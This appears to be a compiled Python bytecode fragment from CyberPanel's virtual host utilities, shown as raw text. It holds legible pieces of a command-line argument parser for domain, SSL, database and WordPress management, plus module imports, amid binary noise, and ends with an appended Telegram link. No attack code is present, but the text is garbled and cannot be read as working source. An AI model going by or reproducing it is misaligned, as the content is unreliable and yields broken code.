eF

F
g
*�"
X




rcCsJtjdd�}|jddd�|jddd�|jdd	d�|jd
dd�|jdd
d�|jddd�|jddd�|jddd�|jddd�|jddd�|jddd�|jddd�|jddd�|jddd�|jd d!d�|jd"d#d�|jd$d%d�|jd&d'd�|jd(d)d�|jd*d+d�|jd,d-d�|jd.d/d�|jd0d1d�|jd2d3d�|jd4d5d�|jd6d7d�|jd8d9d�|jd:d;d�|jd<d=d�|jd>d?d�|jd@dAd�|jdBdCd�|jdDdEd�|jdFdGd�|jdHdId�|jdJdKd�|jdLdMd�|jdNdMd�|��}|jdOk�rnzt|j�}WndP}Yzt|j�}WndP}Yzt|j�}WndP}Yz|j	}WndQ}Yt
�|j|j
|j|jt|j�|||j|j||t|j��dS|jdRk�r�tjj|jdS�}t
�dTdU|j|�dS|jdVk�r�t�|j�dS|jdWk�r�zt|j�}WndP}Yzt|j�}WndP}Yzt|j�}WndP}Yz|j	}WndQ}Yzt|j�}WndP}Yt
�|j|j|j|jt|j�|||j||dT|�dS|jdXk�rt
�|j|j|j
�dS|jdYk�rt
�|j|j|j
�dS|jdZk�r-t� |j|j�dS|jd[k�r?t
�!|jt|j"��dS|jd\k�rQt
�#|jt|j"��dS|jd]k�rat
�$|j|j%�dS|jd^k�rqt
�&|j|j%�dS|jd_k�r�t
�'|j|j|j%�dS|jd`k�r�t
�(|j|j)|j*�dS|jdak�r�t
�+|j|j|j|j,|j-|j.�dS|jdbk�r�t
�/|j|j|j|j,|j-|j.|j0|j1|j2|j3|j	�dS|jdck�r�t
�4|j|j�dS|jddk�r�t
�5|j|j�dS|jdek�rt�6|jt|j7��dS|jdfk�rt
�8|j|jt|j�|j9|j
|j�dS|jdgk�r/t
�:|j|j|j9|j
�dS|jdhk�r?t
�;|j|j�dS|jdik�rOt
�<|j|j=�dS|jdjk�rat
�>|jt|j?��dS|jdkk�rwt
�@|j|jt|jA�|j	�dS|jdlk�r�t
�B|j|j0|j1|j|jC|j�dS|jdmk�r�t
�D|j|jt|jE��dSdS)nNzCyberPanel Installer)�description�functionzSpecific a function to call!)�helpz--virtualHostNamezDomain name!z--administratorEmailzAdministration Email!z--phpVersionzPHP Versionz--virtualHostUserz'Virtual Host Directory Owner and Group!z--numberOfSiteszNumber of sites!z--sslzWeather to activate SSLz	--sslPathzPath to website document root!z--dkimCheckz-To enable or disable DKIM support for domain.z
--openBasedirz8To enable or disable open_basedir protection for domain.z--websiteOwnerzWebsite Owner Namez	--packagezWebsite packagez	--restorezRestore Check.z--apachez Enable/Disable Apache as backendz--masterDomainz2Master Domain Needed While Creating Child Domains!z--pathz'Path Needed for Child domains Creation!z	--restartz2OLS Restart Frequency while child domain creation!z--pagezPage number to fetch logs!z
--tempPathz2Temporary path where configuration data is placed!z
--tempKeyPathzTemporary path to store key!z--tempCertPathzTemporary path to store cert!z
--sslCheckz(Weather SSL is already activated or not!z--dbNamezDatabase Name!z--dbUserzDatabase User!z--dbPasswordzDatabase Password!z--bandwidthzPack Bandwidth!z
--usernamezAdmin Username!z
--passwordzAdmin Password!z--prefixzDatabase Prefix!z
--sitenamez
Site Name!z
--aliasDomainz
Alias Domain!z--openBasedirValuezopen_base dir protection value!z--tempStatusPathzTemporary Status file path.z--mailDomainz'To create or not to create mail domain.z--serverzSwitch server parameter.z--wpidzWordPress IDz--DeleteDocRootz#Doc root deletion for child domain.z--rdnsr�rr�r�r�rz/home/cyberpanel/templogsr�r�rVr��	changePHPr�r�r�r�r�rR�installWordPress�
installJoomlarbrc�findDomainBWr0r1r>rFrargr�r{)F�argparse�ArgumentParser�add_argument�
parse_argsr�r�r1r2r�r6rr�r�r�r�r�r0r-r/r3rr=r>r�rr�r&r�r+rBrVr�r�r�r�r�r�r�r�r�rR�tempKeyPath�tempCertPathr��dbName�dbUser�
dbPasswordr�r�r��prefix�sitenamerbrcr��	bandwidthr0r�r1r>rFrCrar_rgrer�r�r{�rdns)�parserrr1r2r�r6r,r&ryryrz�mains$
�
���� ��r��__main__)3rA�os.path�sysrI�djangorBr4�environ�
setdefault�randomr�setupr��plogicalrr�multiprocessingrrr�plogical.mailUtilitiesrr	r;�plogical.dnsUtilitiesr
�plogical.vhostr�plogical.aclr�plogical.processUtilitiesr
� ApachController.ApacheControllerr�ApachController.ApacheVhostsr�managePHP.phpManagerr�websiteFunctions.modelsrrr�loginSystem.modelsr�packages.modelsr�CLManager.modelsrrr�r�ryryryrz�<module>sdg?
�

https://t.me/RX1948 - 2025